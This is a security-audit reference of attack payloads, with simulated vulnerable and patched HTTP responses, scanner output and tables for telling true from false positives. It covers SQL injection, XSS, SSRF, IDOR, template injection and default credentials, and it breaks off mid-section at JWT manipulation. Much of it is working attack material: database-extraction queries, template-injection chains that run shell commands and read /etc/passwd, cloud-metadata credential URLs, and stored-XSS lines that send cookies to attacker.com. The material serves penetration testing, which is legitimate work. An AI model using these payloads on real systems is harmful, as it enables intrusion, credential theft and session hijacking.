Attack Payloads & Response Patterns Reference
Comprehensive reference for security audit simulation: real-world payloads, vulnerable/safe response patterns, tool output formats, and true/false positive indicators.
Table of Contents
- SQL Injection
- Cross-Site Scripting (XSS)
- Server-Side Request Forgery (SSRF)
- IDOR / BOLA
- Server-Side Template Injection (SSTI)
- Authentication Bypass / Default Credentials
- Security Misconfiguration
- Cryptographic Failures
- CSRF
- XXE
- Path Traversal / LFI
- Command Injection
- File Upload Vulnerabilities
- Rate Limiting / Brute Force
- Open Redirect
- Information Disclosure
1. SQL Injection
1.1 Test Payloads
Error-Based SQL Injection
# Basic error trigger
'
"
' OR '1'='1
" OR "1"="1
') OR ('1'='1
' OR 1=1--
' OR 1=1#
' OR 1=1/*
admin'--
1' AND 1=CONVERT(int,(SELECT @@version))--
# MySQL error-based extraction
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user()),0x7e),1)--
# MSSQL error-based
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
' AND 1=CAST((SELECT @@version) AS int)--
# Oracle error-based
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual))--
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))--
# PostgreSQL error-based
' AND 1=CAST((SELECT version()) AS int)--
',CAST(chr(126)||version()||chr(126) AS NUMERIC),'')--
Union-Based SQL Injection
# Step 1: Determine column count with ORDER BY
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY 4-- <-- if this errors, table has 3 columns
# Step 1 alt: Determine column count with UNION SELECT NULL
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
# Step 2: Find displayable columns
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--
# Step 3: Extract data (3-column example)
' UNION SELECT username,password,NULL FROM users--
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION ALL SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users--
# MySQL specific
' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata--
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
# PostgreSQL specific
' UNION SELECT NULL,version(),NULL--
' UNION SELECT NULL,string_agg(table_name,','),NULL FROM information_schema.tables--
Blind SQL Injection (Boolean-Based)
# Boolean-based detection
' AND 1=1-- (true condition - normal response)
' AND 1=2-- (false condition - different response)
# Character extraction
' AND SUBSTRING((SELECT database()),1,1)='a'--
' AND (SELECT ASCII(SUBSTRING((SELECT database()),1,1)))>97--
' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND LENGTH(password)>5)=1--
# MySQL
' AND IF(1=1,1,0)--
' AND IF(SUBSTRING(database(),1,1)='s',SLEEP(0),1)--
# PostgreSQL
' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 1/(SELECT 0) END)=1--
Blind SQL Injection (Time-Based)
# MySQL
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
'; SELECT BENCHMARK(10000000,SHA1('test'))--
# PostgreSQL
'; SELECT pg_sleep(5)--
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
# MSSQL
'; WAITFOR DELAY '0:0:5'--
' AND IF 1=1 WAITFOR DELAY '0:0:5'--
'; IF (SELECT COUNT(*) FROM sysobjects)>0 WAITFOR DELAY '0:0:5'--
# Oracle
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
1.2 Vulnerable Response Patterns
HTTP Response - Error-Based (MySQL)
HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Apache/2.4.41 (Ubuntu)
<b>Warning</b>: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in <b>/var/www/html/index.php</b> on line <b>12</b><br>
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
HTTP Response - Error-Based (MSSQL)
HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark after the character string ''.
/products.asp, line 33
HTTP Response - Error-Based (Oracle)
HTTP/1.1 500 Internal Server Error
ORA-01756: quoted string not properly terminated
ORA-00933: SQL command not properly ended
HTTP Response - Error-Based (PostgreSQL)
HTTP/1.1 500 Internal Server Error
ERROR: unterminated quoted string at or near "'"
LINE 1: SELECT * FROM products WHERE id='1''
ERROR: invalid input syntax for type integer: "abc"
HTTP Response - Union-Based (Data Exfiltration)
HTTP/1.1 200 OK
Content-Type: text/html
<table>
<tr><td>admin</td><td>$2b$12$LJ3m4ys3Lk0TdPmFBpKBOeJMUMmo7Xa5VjKfAPeXBqHVjE9P5VqiG</td><td></td></tr>
<tr><td>john</td><td>$2b$12$9XNHnKz.LmQZGKISYhECY.IH0d1pYR/lFaXEPt3HvSbDYpNGoEi1u</td><td></td></tr>
</table>
HTTP Response - Boolean Blind (True vs False)
# TRUE condition (' AND 1=1--)
HTTP/1.1 200 OK
Content-Length: 4538
<h1>Product: Widget Pro</h1>
<p>Price: $29.99</p>
# FALSE condition (' AND 1=2--)
HTTP/1.1 200 OK
Content-Length: 1204
<h1>No products found</h1>
HTTP Response - Time-Based Blind
# Non-injected request: Response time ~50ms
# Injected with SLEEP(5): Response time ~5050ms
# The 5-second delay confirms injection
1.3 Safe/Patched Response Patterns
HTTP/1.1 400 Bad Request
Content-Type: application/json
{
"error": "Invalid input",
"message": "The provided value is not valid"
}
HTTP/1.1 200 OK
Content-Type: application/json
{
"products": [],
"message": "No results found"
}
Key safe indicators:
- No database error messages leaked
- Parameterized query used (payload treated as literal string data)
- Input validation rejects special characters
- Generic error messages with no stack traces
- Same response for both
' AND 1=1--and' AND 1=2-- - No measurable time difference with SLEEP/WAITFOR payloads
1.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| Error message | Contains DB-specific syntax errors (MySQL, MSSQL, Oracle, PG) | Generic 500 error or WAF block page |
| Boolean blind | Consistently different response for true/false conditions across multiple tests | Single inconsistent difference (could be caching, race condition) |
| Time-based | Consistent delay matching injected sleep value (e.g., 5s for SLEEP(5), 10s for SLEEP(10)) | Random delays due to server load |
| Union-based | Actual data from other tables appears in response | Extra columns show NULL but no extractable data |
| WAF detection | Payload blocked with WAF signature (403 Forbidden, "Request blocked") | Actual SQL syntax error from the database engine |
1.5 Tool Output Examples
sqlmap Output (Vulnerable Target)
___
__H__
___ ___["]_____ ___ ___ {1.8.4#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal...
[*] starting @ 14:23:15 /2026-04-09/
[14:23:15] [INFO] testing connection to the target URL
[14:23:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:23:15] [INFO] testing if the target URL content is stable
[14:23:16] [INFO] target URL content is stable
[14:23:16] [INFO] testing if GET parameter 'id' is dynamic
[14:23:16] [INFO] GET parameter 'id' appears to be dynamic
[14:23:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[14:23:16] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[14:23:16] [INFO] testing for SQL injection on GET parameter 'id'
[14:23:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:23:17] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[14:23:17] [INFO] testing 'Generic inline queries'
[14:23:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[14:23:17] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[14:23:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[14:23:18] [INFO] GET parameter 'id' is 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' injectable
[14:23:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:23:28] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[14:23:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:23:28] [INFO] automatically extending ranges for UNION query injection technique tests
[14:23:29] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns.
[14:23:29] [INFO] target URL appears to have 3 columns in query
[14:23:30] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 5639=5639 AND 'RdBg'='RdBg
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)
Payload: id=1' AND EXP(~(SELECT * FROM (SELECT CONCAT(0x716b787871,(SELECT (ELT(4207=4207,1))),0x71766a7a71,0x78))x))-- -
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 5765 FROM (SELECT(SLEEP(5)))SuCe) AND 'vbKl'='vbKl
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-7092' UNION ALL SELECT CONCAT(0x716b787871,0x4f724d6f4c52634f6c72,0x71766a7a71),NULL,NULL-- -
---
[14:23:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 7.4.3, Apache 2.4.41
back-end DBMS: MySQL >= 5.5
[14:23:30] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/target.example.com'
[*] ending @ 14:23:30 /2026-04-09/
sqlmap Database Enumeration Output
[14:25:01] [INFO] fetching database names
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] webapp_db
[14:25:02] [INFO] fetching tables for database: 'webapp_db'
Database: webapp_db
[3 tables]
+-----------+
| users |
| products |
| orders |
+-----------+
[14:25:03] [INFO] fetching columns for table 'users' in database 'webapp_db'
Database: webapp_db
Table: users
[4 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(11) |
| username | varchar(50) |
| password | varchar(255)|
| email | varchar(100)|
+----------+-------------+
[14:25:04] [INFO] fetching entries for table 'users' in database 'webapp_db'
Database: webapp_db
Table: users
[3 entries]
+----+----------+----------------------------------------------+-------------------+
| id | username | password | email |
+----+----------+----------------------------------------------+-------------------+
| 1 | admin | $2b$12$LJ3m4ys3Lk0TdPmFBpKBOeJMUMmo7Xa5VjKf | admin@example.com |
| 2 | john | 5f4dcc3b5aa765d61d8327deb882cf99 | john@example.com |
| 3 | jane | password123 | jane@example.com |
+----+----------+----------------------------------------------+-------------------+
2. Cross-Site Scripting (XSS)
2.1 Test Payloads
Reflected XSS
# Basic payloads
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
"><script>alert(1)</script>
'><script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
# Filter bypass payloads
<ScRiPt>alert(1)</sCrIpT>
<scr<script>ipt>alert(1)</scr</script>ipt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror="alert(1)">
<img/src=x onerror=alert(1)>
<svg><script>alert(1)</script></svg>
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Stored XSS
# Payloads for form fields, comments, profiles
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>
<svg onload="navigator.sendBeacon('https://attacker.com/log',document.cookie)">
# Payloads disguised in rich content
<a href="javascript:alert(1)">Click me</a>
<div style="background:url('javascript:alert(1)')">
[Click here](javascript:alert(document.domain))
DOM-Based XSS
# Payloads targeting common DOM sinks
# URL fragment payloads (document.location.hash)
#<img src=x onerror=alert(1)>
#"><svg onload=alert(1)>
# URL parameter payloads (location.search / URLSearchParams)
?search=<img src=x onerror=alert(1)>
?name=<script>alert(document.domain)</script>
?redirect=javascript:alert(1)
# Targeting innerHTML sinks
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
# Targeting eval/setTimeout sinks
';alert(1)//
\';alert(1)//
1;alert(1)
# Targeting document.write sinks
"><script>alert(1)</script>
" onmouseover="alert(1)
# Targeting jQuery sinks (.html(), .append())
<img src=x onerror=alert(1)>
2.2 Vulnerable Response Patterns
Reflected XSS - Vulnerable
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-XSS-Protection: 0
<html>
<body>
<h1>Search Results</h1>
<p>You searched for: <script>alert(1)</script></p>
<p>No results found.</p>
</body>
</html>
Note: The payload <script>alert(1)</script> is reflected directly into the HTML response without encoding.
Stored XSS - Vulnerable
HTTP/1.1 200 OK
Content-Type: text/html
<div class="comment">
<span class="author">attacker_user</span>
<p><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"></p>
<span class="date">2026-04-09</span>
</div>
DOM XSS - Vulnerable JavaScript Source
// Vulnerable code pattern in client-side JS
var search = document.location.hash.substring(1);
document.getElementById('results').innerHTML = "Results for: " + search;
// No sanitization - DOM XSS via fragment
2.3 Safe/Patched Response Patterns
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'
<html>
<body>
<h1>Search Results</h1>
<p>You searched for: <script>alert(1)</script></p>
<p>No results found.</p>
</body>
</html>
Key safe indicators:
- HTML entities encoded (
<becomes<,>becomes>) - Content-Security-Policy header present with restrictive policy
- X-Content-Type-Options: nosniff
- Input sanitized / HTML-purified before storage (stored XSS)
- DOM manipulation uses textContent instead of innerHTML
2.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| Reflection | Payload renders as executable HTML/JS in DOM | Payload visible in source but entity-encoded |
| Alert fires | alert() / console.log() executes in browser |
Payload visible in raw source but browser doesn't execute it |
| CSP | No CSP or CSP allows unsafe-inline/unsafe-eval | CSP blocks execution even though payload is reflected |
| Context | Payload breaks out of current context (attribute, tag, script) | Payload is inside a context that prevents execution (e.g., textarea, comment) |
| Encoding | No encoding applied | Server-side encoding applied but payload appears "reflected" in encoded form |
2.5 Tool Output Examples
Burp Suite Scanner Finding
<issue>
<serialNumber>7283649</serialNumber>
<type>2097920</type>
<name>Cross-site scripting (reflected)</name>
<host ip="93.184.216.34">https://target.example.com</host>
<path>/search</path>
<location>/search [q parameter]</location>
<severity>High</severity>
<confidence>Certain</confidence>
<issueBackground>
Reflected cross-site scripting vulnerabilities arise when data is copied from a
request and echoed into the application's immediate response in an unsafe way.
</issueBackground>
<issueDetail>
The value of the <b>q</b> request parameter is copied into the
HTML document as plain text between tags. The payload
<script>alert(1)</script> was submitted in the q parameter.
This input was echoed unmodified in the application's response.
</issueDetail>
<requestresponse>
<request>GET /search?q=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
Host: target.example.com</request>
<response>HTTP/1.1 200 OK
Content-Type: text/html
You searched for: <script>alert(1)</script></response>
</requestresponse>
</issue>
Nikto XSS Detection
+ OSVDB-3092: /search?q=<script>alert(1)</script>: Possible XSS vulnerability. The 'q' parameter appears to be reflected without sanitization.
3. Server-Side Request Forgery (SSRF)
3.1 Test Payloads
# Basic localhost/internal access
http://localhost/
http://localhost:8080/admin
http://127.0.0.1/
http://127.0.0.1:22/
http://127.1/
http://0.0.0.0/
http://[::1]/
http://0x7f000001/
http://2130706433/
http://017700000001/
# Internal network scanning
http://192.168.0.1/
http://192.168.1.1/admin
http://10.0.0.1/
http://172.16.0.1/
http://10.0.0.1:8080/
http://10.0.0.1:3306/
http://10.0.0.1:6379/
# AWS metadata endpoint (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document
# AWS metadata (IMDSv2 - requires token)
# PUT http://169.254.169.254/latest/api/token (with X-aws-ec2-metadata-token-ttl-seconds: 21600)
# GCP metadata
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id
# Azure metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# DNS rebinding / bypass payloads
http://spoofed.burpcollaborator.net/
http://127.0.0.1.nip.io/
http://localtest.me/
http://customer-controlled-domain.127.0.0.1.nip.io/
http://www.target.com@attacker.com/
# Protocol smuggling
gopher://localhost:25/_MAIL%20FROM:%3Cattacker@example.com%3E
dict://localhost:11211/stat
file:///etc/passwd
3.2 Vulnerable Response Patterns
SSRF - Cloud Metadata Exposed
HTTP/1.1 200 OK
Content-Type: application/json
{
"Code": "Success",
"LastUpdated": "2026-04-09T12:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "FwoGZXIvYXdzEBYaDO...long_token...",
"Expiration": "2026-04-09T18:00:00Z"
}
SSRF - Internal Service Response Forwarded
HTTP/1.1 200 OK
Content-Type: text/html
<html>
<h1>Internal Admin Panel</h1>
<p>Server: internal-app-01.corp.local</p>
<p>Database: mysql://root:dbpassword123@10.0.0.5:3306/production</p>
<a href="/admin/users">Manage Users</a>
<a href="/admin/settings">System Settings</a>
</html>
SSRF - Internal Port Scan Response
# Port open (fast response ~50ms):
HTTP/1.1 200 OK
Content-Length: 0
(or returns connection banner data)
# Port closed (connection refused, fast ~20ms):
HTTP/1.1 500 Internal Server Error
{"error": "Connection refused"}
# Port filtered (timeout ~30s):
HTTP/1.1 504 Gateway Timeout
{"error": "Connection timed out"}
3.3 Safe/Patched Response Patterns
HTTP/1.1 400 Bad Request
Content-Type: application/json
{
"error": "Invalid URL",
"message": "The requested URL is not allowed. Only external HTTP/HTTPS URLs are permitted."
}
HTTP/1.1 403 Forbidden
Content-Type: application/json
{
"error": "Blocked",
"message": "Access to internal network addresses is not permitted."
}
Key safe indicators:
- URL scheme restricted to http/https only (blocks file://, gopher://, dict://)
- Allowlist of permitted domains/IPs
- DNS resolution validated (no private IP ranges: 10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x)
- IMDSv2 enforced on AWS (requires PUT token first)
- Responses from internal services not forwarded to user
3.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| Metadata access | Actual AWS/GCP/Azure credentials or instance data returned | Generic timeout or error page |
| Internal access | Response contains internal service data, banners, or HTML from internal apps | Error message mentioning blocked address (WAF/allowlist working) |
| Port scan | Distinguishable response differences between open/closed/filtered ports | Uniform error for all ports (server validates before connecting) |
| DNS rebinding | Callback received on attacker-controlled Burp Collaborator | No callback received |
| Blind SSRF | Out-of-band DNS/HTTP interaction confirmed via Collaborator | No external interaction observed |
3.5 Tool Output Examples
Burp Collaborator Interaction (Blind SSRF)
Collaborator interaction received:
Type: HTTP
From: 10.0.0.5 (internal IP!)
To: xyz123.burpcollaborator.net
Timestamp: 2026-04-09 14:30:15 UTC
GET / HTTP/1.1
Host: xyz123.burpcollaborator.net
User-Agent: Java/11.0.12
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Nmap Internal Network Scan (discovered via SSRF)
Nmap scan report for 10.0.0.5
Host is up (0.0034s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
3306/tcp open mysql
8080/tcp open http-proxy
4. IDOR / BOLA (Broken Object Level Authorization)
4.1 Test Payloads
# Basic ID manipulation
GET /api/v1/users/1001 -> GET /api/v1/users/1002
GET /api/v1/orders/5000 -> GET /api/v1/orders/5001
GET /api/v1/invoices/INV-2024-001 -> GET /api/v1/invoices/INV-2024-002
DELETE /api/v1/users/1002 (delete another user)
PUT /api/v1/users/1002 (modify another user)
# UUID/GUID prediction
GET /api/v1/documents/550e8400-e29b-41d4-a716-446655440000
# Try sequential, similar or leaked UUIDs
# Body parameter manipulation
POST /api/v1/transfer
{"from_account": "ACC001", "to_account": "ACC002", "amount": 100}
# Change from_account to someone else's
# Nested object references
GET /api/v1/organizations/1/users/5
# Change organization ID while keeping user ID
GET /api/v1/organizations/2/users/5
# GraphQL IDOR
query {
user(id: "1002") {
name
email
ssn
creditCards { number expiry }
}
}
# Encoded/hashed ID manipulation
GET /api/v1/users/MTAwMg== (base64 of "1002")
GET /api/v1/users/e4da3b7fbbce2345 (MD5 of "1002" or similar)
# HTTP method switching
GET /api/v1/admin/users/1002 -> 403 Forbidden
PUT /api/v1/admin/users/1002 -> 200 OK (method not checked)
PATCH /api/v1/admin/users/1002 -> 200 OK
4.2 Vulnerable Response Patterns
IDOR - Direct Data Access
# Request as user 1001, accessing user 1002's data
GET /api/v1/users/1002 HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Cookie: session=abc123_user1001
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 1002,
"name": "Jane Smith",
"email": "jane.smith@example.com",
"ssn": "123-45-6789",
"phone": "+1-555-0102",
"address": "456 Oak Ave, Springfield, IL 62701",
"credit_card": {
"last_four": "4242",
"expiry": "12/27"
}
}
IDOR - Modification of Another User's Resource
PUT /api/v1/users/1002 HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJ..._user1001_token
Content-Type: application/json
{"email": "attacker@evil.com", "role": "admin"}
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 1002,
"message": "User updated successfully",
"email": "attacker@evil.com",
"role": "admin"
}
4.3 Safe/Patched Response Patterns
HTTP/1.1 403 Forbidden
Content-Type: application/json
{
"error": "Forbidden",
"message": "You do not have permission to access this resource"
}
HTTP/1.1 404 Not Found
Content-Type: application/json
{
"error": "Not Found",
"message": "Resource not found"
}
Key safe indicators:
- Server verifies resource ownership against authenticated user's session
- Returns 403 or 404 for unauthorized access (404 preferred to avoid enumeration)
- UUID v4 used instead of sequential integers (reduces guessability, but not a fix alone)
- Authorization middleware checks object-level permissions
4.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| Response data | Returns data belonging to a DIFFERENT user than the authenticated one | Returns own data or generic response |
| Status code | 200 OK with another user's data | 200 OK but data is filtered/redacted |
| Modification | PUT/DELETE on another user's resource returns success, and changes persist | PUT returns 200 but backend silently ignores the ID override |
| Enumeration | Incrementing IDs returns different valid records | All IDs return same data (server ignores path param, uses session) |
4.5 Tool Output Examples
Autorize (Burp Extension) Output
URL: /api/v1/users/1002
Original Status: 200
Modified Status: 200
Authorization Status: BYPASSED!
Original Response Length: 1847
Modified Response Length: 1823
Content-Type: application/json
Differences detected: Response contains different user data
User A token used to access User B's resource - IDOR CONFIRMED
5. Server-Side Template Injection (SSTI)
5.1 Test Payloads
Detection / Polyglot
# Universal detection probes
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{{7*'7'}}
*{7*7}
@(7*7)
# Engine differentiation
{{7*'7'}}
# Returns 49 -> Twig
# Returns 7777777 -> Jinja2
${"freemarker".getClass()}
# FreeMarker if it returns class info
Jinja2 (Python/Flask)
# Config dump
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
# RCE via MRO chain
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__init__.__globals__['current_app'].config}}
# RCE - subprocess.Popen
{{''.__class__.__mro__[1].__subclasses__()[407]('id',shell=True,stdout=-1).communicate()}}
# Filter bypass (no dots)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
# Filter bypass (no underscores)
{{request|attr(['\x5f\x5fclass\x5f\x5f']|join)}}
Twig (PHP)
# Basic detection
{{7*7}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
# RCE (older versions)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# File read
{{'/etc/passwd'|file_excerpt(1,30)}}
# RCE via system()
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}
FreeMarker (Java)
# Detection
${7*7}
${.now}
${.version}
# RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("cat /etc/passwd")}
# File read
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
Velocity (Java)
# Detection
#set($x=7*7)$x
# RCE
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
ERB (Ruby)
<%= 7*7 %>
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").readlines() %>
5.2 Vulnerable Response Patterns
Jinja2 - Math Evaluation Confirmed
# Request: GET /profile?name={{7*7}}
HTTP/1.1 200 OK
Content-Type: text/html
<h1>Hello, 49!</h1>
Jinja2 - RCE Output
# Request: GET /page?title={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
HTTP/1.1 200 OK
<h1>uid=33(www-data) gid=33(www-data) groups=33(www-data)</h1>
FreeMarker - RCE Output
# Payload in template field: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}
HTTP/1.1 200 OK
<div>tomcat</div>
5.3 Safe/Patched Response Patterns
# Math expression NOT evaluated, rendered as literal text
HTTP/1.1 200 OK
Content-Type: text/html
# Template syntax causes controlled error, no evaluation
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
{
"error": "Template rendering error",
"message": "Invalid template syntax"
}
Key safe indicators:
- Template expressions rendered as literal text (not evaluated)
- Sandboxed template engine (Jinja2 SandboxedEnvironment)
- Logic-less templates used (Mustache, Handlebars)
- User input never directly interpolated into templates
5.4 True Positive vs False Positive
| Indicator | True Positive | False Positive |
|---|---|---|
| Math probe | {{7*7}} renders as 49 in response body |
{{7*7}} rendered as literal text |
| RCE | id/whoami output appears in response |
Command string appears literally |
| Error | Template engine error reveals engine name/version | Generic application error |
| Config | {{config}} dumps Flask config with SECRET_KEY |
No config data returned |
5.5 Tool Output Examples
Tplmap Output (Jinja2 Detected)
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{{*}}'
[+] Smarty plugin has confirmed injection with tag '{{*}}'
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{7*7}}'
[+] Jinja2 plugin is testing blind injection
[+] Jinja2 plugin has confirmed blind injection
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
--bind-shell PORT Connect to a bind shell
--reverse-shell HOST PORT Send a reverse shell
6. Authentication Bypass / Default Credentials
6.1 Test Payloads
Default Credential Pairs
# Common defaults
admin:admin
admin:password
admin:password123
admin:admin123
administrator:administrator
root:root
root:toor
test:test
user:user
guest:guest
operator:operator
demo:demo
# Technology-specific defaults
# Apache Tomcat
tomcat:tomcat
tomcat:s3cret
admin:tomcat
manager:manager
role1:tomcat
# MySQL
root:(empty)
root:mysql
root:root
# PostgreSQL
postgres:postgres
# MongoDB
admin:(empty)
# Jenkins
admin:admin
admin:password
# phpMyAdmin
root:(empty)
root:root
# WordPress
admin:admin
admin:password
# Router/IoT
admin:admin
admin:1234
admin:12345
admin:default
cisco:cisco
Authentication Bypass Payloads
# SQL Injection in login
admin' --
admin' #
' OR 1=1--
' OR '1'='1
" OR "1"="1"--
admin'/*
' OR 1=1 LIMIT 1--
' UNION SELECT 1,'admin','password'--
# JSON type confusion
{"username": "admin", "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
# JWT manipulation
# Change algorithm to "none"
